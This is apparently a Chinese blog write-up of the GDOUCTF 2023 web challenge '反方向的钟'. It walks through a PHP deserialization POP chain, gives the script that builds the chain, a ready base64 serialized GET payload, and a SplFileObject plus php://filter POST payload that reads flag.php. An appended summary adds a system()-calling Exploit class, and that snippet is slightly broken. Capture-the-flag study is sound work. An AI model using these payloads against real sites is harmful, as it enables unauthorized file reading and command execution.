[GDOUCTF 2023]反方向的钟

文章详细解析了一段PHP代码,指出其存在的安全漏洞。代码中,`__wakeup`方法调用`IPO`函数,而`IPO`函数在特定条件下执行`new$_POST[a]($_POST[b])`,允许通过`SplFileObject`类进行文件读取。通过构造序列化的对象并利用`classroom`和`teacher`类的属性,可以触发`hahaha`方法返回真,从而执行`IPO`。最终,作者给出了构造POST数据以读取`flag.php`文件的payload示例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

先观察代码中可以实现命令执行的地方

可以看到只有

echo new $_POST['a']($_POST['b']);

能利用原生类SplFileObject读取文件

 所以目标点加上school类中的IPO方法

IPO需要在wakeup中调用,而

if($this->department->hahaha()) {
            $this->IPO();
        }

返回为真的时候调用,这样又要看到dapartment调用hahaha

hahaha是classroom的一个方法,所以这里要实例化classroom赋给dapartment

public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }

hahaha返回true三个变量相等其中后面两个变量明显是一个对象中的name和rank变量

有这两个变量的只有teacher类,所以要实例化该类并赋值给leader

最后就是在teacher类中赋值name和rank即可

大致的链子为:

school::__wakeup()–>classroom::hahaha()–>school::IPO() 

 构造pop:

<?php
error_reporting(0);
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

$a=new school(new classroom("one class",new teacher("ing","department")),"ong");

echo urlencode(base64_encode(serialize($a)));
?>

得到get参数的payload为:

d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

 之后利用原生类SplFileObject读取文件

a为类,b用php协议读取flag.php   /代码中说了flag在flag.php中

所以POST的payload为:

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

 

参考:

(1条消息) GDOUCTF web部分题解 2023_J_a_y_1_7的博客-CSDN博客

### CTF 反序列化题目解题思路和技巧 #### 理解PHP反序列化机制 在处理CTF中的PHP反序列化题目时,理解`serialize()`和`unserialize()`函数的工作原理至关重要。当对象被序列化后,其状态会被转换成字符串形式以便于传输或存储;而在反序列化过程中,则会将这些字符串重新构造成原始的对象实例[^2]。 #### 构建恶意payload 构建有效的攻击载荷通常涉及利用特定类的方法来触发预期的行为。例如,在给定的例子中,通过构造特殊的输入参数并传递给`$_GET`超全局数组成员变量,可以控制程序流从而实现远程命令执行或其他有害操作[^3]。 #### 利用魔术方法 某些情况下,可以通过操控含有特殊名称(即所谓的“魔法”)的方法来进行攻击。比如`__wakeup()`会在调用`unserialize()`之后立即被执行,这使得它成为一个潜在的安全风险点——特别是当该方法内部包含了危险的操作如`eval()`时[^5]。 #### 绕过安全检测逻辑 有时挑战者可能会设置一些简单的防护措施试图阻止非法的数据提交。了解如何巧妙地绕开这类检查也是成功解决问题的关键之一。例如,针对条件语句`if (strstr($_GET["c"], "popko") === false)`,可以选择适当调整发送的内容使其不包含敏感关键字以规避过滤[^4]。 ```php // 示例:创建一个带有恶意代码的可序列化对象 class Exploit { public $cmd; function __construct($command){ $this->cmd=$command; } function __destruct(){ system($this->cmd); } } $malicious_obj = new Exploit('id'); serialized_data=serialize($malicious_obj); // 发送经过编码后的数据至目标服务器 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sharpery

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值